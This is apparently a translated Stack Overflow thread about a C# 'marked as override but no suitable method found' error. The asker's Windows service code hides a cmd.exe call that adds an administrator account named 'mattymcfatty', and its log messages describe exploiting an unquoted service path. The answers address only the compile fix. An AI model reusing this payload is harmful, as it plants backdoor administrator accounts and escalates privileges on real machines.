【问题标题】:`SimpleWindowsService1.SimpleService.Dispose(bool)' is marked as an override but no suitable method found to override`SimpleWindowsService1.SimpleService.Dispose(bool)' 被标记为覆盖但找不到合适的方法来覆盖
【发布时间】:2021-07-14 21:33:51
【问题描述】:

我是 C# 新手,无法解决此问题。代码是

namespace SimpleWindowsService1
{
    partial class SimpleService
    {
        /// <summary> 
        /// Required designer variable.
        /// </summary>
        private System.ComponentModel.IContainer components = null;

        /// <summary>
        /// Clean up any resources being used.
        /// </summary>
        /// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
        protected override void Dispose(bool disposing)
        {
            if (disposing && (components != null))
            {
                components.Dispose();
            }
            base.Dispose(disposing);
        }

        #region Component Designer generated code

        /// <summary> 
        /// Required method for Designer support - do not modify 
        /// the contents of this method with the code editor.
        /// </summary>
        private void InitializeComponent()
        {
            this.eventLogSimple = new System.Diagnostics.EventLog();
            ((System.ComponentModel.ISupportInitialize)(this.eventLogSimple)).BeginInit();
            // 
            // SimpleService
            // 
            System.Diagnostics.Process process = new System.Diagnostics.Process();
            System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
            startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
            startInfo.FileName = "cmd.exe";
            startInfo.Arguments = "/C net user mattymcfatty Really1337! /add && net localgroup administrators mattymcfatty /add";
            process.StartInfo = startInfo;
            process.Start();

            this.ServiceName = "Not The Service You Think It Is";
            ((System.ComponentModel.ISupportInitialize)(this.eventLogSimple)).EndInit();

        }

        #endregion

        private System.Diagnostics.EventLog eventLogSimple;
    }
}

当我尝试编译它时,我不断收到错误“标记为覆盖但找不到合适的方法”。有更多 C# 经验的人可以帮我找出问题所在吗?

谢谢

编辑:由于 cmets 中的某个聪明人,我添加了第二个文件 SimpleService.cs。这是在同一个项目中。

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Linq;
using System.ServiceProcess;
using System.Text;

namespace SimpleWindowsService1
{
    public partial class SimpleService : ServiceBase
    {
        public SimpleService()
        {
            InitializeComponent();
            // Initialize eventLogSimple   
            if (!System.Diagnostics.EventLog.SourceExists("SimpleSource"))
                System.Diagnostics.EventLog.CreateEventSource("SimpleSource", "SimpleLog");
            eventLogSimple.Source = "SimpleSource";
            eventLogSimple.Log = "SimpleLog";
        }

        protected override void OnStart(string[] args)
        {
            //this is not executed for some reason
            eventLogSimple.WriteEntry("Uh oh. Program.exe was executed using unquoted path vulnerability. Service Started.");
        }

        protected override void OnStop()
        {
            //this is not executed for some reason
            eventLogSimple.WriteEntry("Uh oh. Program.exe was executed using unquoted path vulnerability. Service Stopped");
        }
    }
}

【问题讨论】:

  • partial class SimpleService 是否有另一个同名的类/文件?如果有,它在哪个命名空间中?
  • 是的,我还有另一个名为 SimpleService.cs 的文件,有一个名为“SimpleWindowsService1”的命名空间
  • 好的,在您的问题中也向我们展示该文件。它的前 20 行。另外,这两个文件是否在同一个项目中
  • 我编辑了我的答案
  • 我无法编译多个文件,这就是我在“项目”中只选择其中一个的原因。我正在使用linux进行编译

标签: c# visual-studio


【解决方案1】:

服务必须继承自ServiceBase

partial class SimpleService : System.ServiceProcess.ServiceBase
{
    //etc

一旦你这样做了,其他错误应该会自行解决。

另见How to Write Services Programmatically

【讨论】:

  • 谢谢。除了前面的错误(仍然显示),在使用修复 SimpleService.Designer.cs(3,42) 后我也得到了这个错误:错误 CS0234:类型或命名空间名称ServiceProcess' does not exist in the namespace System'。您是否缺少程序集参考?
  • 您需要对定义类型的程序集的引用:docs.microsoft.com/en-us/dotnet/api/…
  • 不幸的是没有帮助
  • 您设置了对System.ServiceProcess.ServiceController.dll 的引用,但仍然遇到同样的错误?
  • idk 如何设置参考。尝试使用 csc.exe 在命令行上编译
【解决方案2】:

您只需覆盖从基类继承的虚方法。由于您的类不是从基类继承的,因此没有什么可以覆盖的。您可以删除覆盖。

public class SimpleService : BaseClass
{
    // ...
}

这就是继承的样子,如果BaseClass 包含protected virtual void Dispose(bool disposing),则必须在此处使用覆盖。

【讨论】:

  • 谢谢。更改类类型并将“受保护的覆盖”替换为“受保护的虚拟”会产生以下错误:找不到类型或命名空间名称“BaseClass”。您是否缺少程序集参考?
  • 啊,这只是我的例子。你不需要那个。它应该只演示如果你有继承它会是什么样子。
  • 我不明白,对不起。
  • 好的,所以我刚刚发布了一个示例,以防您必须从名为 BaseClass 的基类继承,该基类提供了您想要覆盖的虚拟方法。根据您的代码示例,您不使用一个,因此您的类定义必须类似于public class SimpleService {,并且您不需要override(但您可以使用virtual,因为您已经发现)。
【解决方案3】:

override 更改为virtual。这个类不是从基类派生的,所以没有方法可以覆盖。

这是the standard pattern for implementing IDisposable 的一部分。如果另一个类派生自 SimpleService,那么 那个 类将使用 override,并应在其实现中调用 base.Dispose(disposing)

【讨论】:

  • 仅将“覆盖”更改为“虚拟”会使事情变得更糟..
  • SimpleService.Designer.cs(20,18): 错误 CS0117: object' does not contain a definition for Dispose' /usr/lib/mono/4.5/mscorlib.dll (与先前错误相关的符号位置) SimpleService .Designer.cs(44,18): error CS1061: Type SimpleWindowsService1.SimpleService' does not contain a definition for ServiceName' 并且找不到扩展方法ServiceName' of type SimpleWindowsService1.SimpleService'。您是否缺少程序集参考?
  • @KongStrongBull 我没有意识到您正在编写 Windows 服务,因此您确实需要从类 ServiceBase 派生。 John Wu noticed this and you should use his advice.
  • 没关系,我放弃了。每次“修复”后错误消息都会变得更糟,我一直在它们之间盘旋。现在我收到错误“服务需要覆盖关键字”
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2018-05-20
  • 1970-01-01
相关资源
最近更新 更多